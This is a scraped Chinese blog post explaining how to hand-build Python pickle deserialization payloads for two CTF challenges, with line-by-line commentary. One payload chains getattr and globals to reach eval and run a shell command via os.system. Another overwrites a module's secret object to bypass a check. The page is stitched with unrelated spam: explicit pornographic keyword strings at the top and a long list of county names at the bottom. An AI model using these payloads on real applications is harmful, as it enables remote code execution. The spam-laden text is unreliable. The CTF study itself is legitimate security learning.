五月天青色头像情侣网名,国产亚洲av片在线观看18女人,黑人巨茎大战俄罗斯美女,扒下她的小内裤打屁股

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

python pickle從零構(gòu)造反序列化攻擊利用

2020-11-15 18:36 作者:小小小狗  | 我要投稿

有一篇很好的文章對此講的很詳細(xì)

https://xz.aliyun.com/t/7436#toc-0

此外我對文章中的手寫反序列化一塊進(jìn)行一些補(bǔ)充


幾道例題

Code-Breaking:picklecode

原payload:

b'''cbuiltins

getattr

p0

(cbuiltins

dict

S'get'

tRp1

cbuiltins

globals

)Rp2

00g1

(g2

S'builtins'

tRp3

0g0

(g3

S'eval'

tR(S'__import__("os").system("whoami")'

tR.

'''(建議復(fù)制到python去看)

首先要聲明的一點(diǎn)是反序列化的利用棧是從底端往上的,清楚匯編的同學(xué)應(yīng)該了解這一點(diǎn)


我的注解

b'''白名單REC

cbuiltins #import

getattr ? #獲取builtins白名單方法getattr

p0 ? #將getattr壓入mem0,字典保存


(cbuiltins? ? mark元素c模塊builtins方法dict壓棧

dict

S'get' ? 聲明元素字符串'get'

tRp1 ??

# 創(chuàng)建元組(builtins.dict,'get')調(diào)用getattr(dict,get)并將結(jié)果壓入mem0,保存為1號元素


cbuiltins?

globals ? #獲取builtins屬性globals

)Rp2

# 創(chuàng)建一個空元組,調(diào)用globals(), 結(jié)果壓入mem,保存為2號元素


00g1 #去除棧頂兩個元素,將mem1號元素壓棧,為dict.get

(g2? #mark g2 取出mem中2號元素壓棧并mark,為globals()結(jié)果?


S'builtins' # 定義字符串對象'builtins'

tRp3

# dict.get(globals(),'builtins')并將結(jié)果壓入mem3空間。(windows這里實(shí)測需要__builtins__


0g0 #清棧,載入g0 getattr

(g3? # 載入g3并mark

S'eval'

tR

# getattr(builtins,'eval')結(jié)果壓棧? ?

(S'__import__("os").system("whoami")'

tR.

# 壓入字符串,命令執(zhí)行

'''

高校戰(zhàn)疫網(wǎng)絡(luò)安全分享賽:webtmp

原payload:


b'''c__main__

secret

(S'name'

S"1"

S"category"

S"2"

db0(S"1"

S"2"

i__main__

Animal

.'''


我的注解

b'''變量覆蓋題

c__main__? #導(dǎo)入主模塊

secret # 主模塊的secret

(S'name'

S"1"

S"category"

S"2"

db0

#d 定義了個字典

#b 覆蓋掉secret中的同名字段

#0 清棧

(S"1"

S"2"

i__main__

Animal

#調(diào)用驗(yàn)證方法,這就是題目中的驗(yàn)證類了,盲猜類使用了__main__.secret做驗(yàn)證

.'''


python pickle從零構(gòu)造反序列化攻擊利用的評論 (共 條)

分享到微博請遵守國家法律
雅江县| 本溪市| 图片| 营口市| 郁南县| 吴桥县| 广西| 甘洛县| 浑源县| 凤山市| 山阳县| 信宜市| 顺义区| 县级市| 奉节县| 裕民县| 苍山县| 兴隆县| 河池市| 商都县| 旌德县| 杭锦旗| 田东县| 右玉县| 钟山县| 开远市| 洪洞县| 周口市| 永登县| 扶余县| 武冈市| 神木县| 农安县| 会同县| 洛扎县| 石景山区| 浠水县| 昌宁县| 中卫市| 乌海市| 周宁县|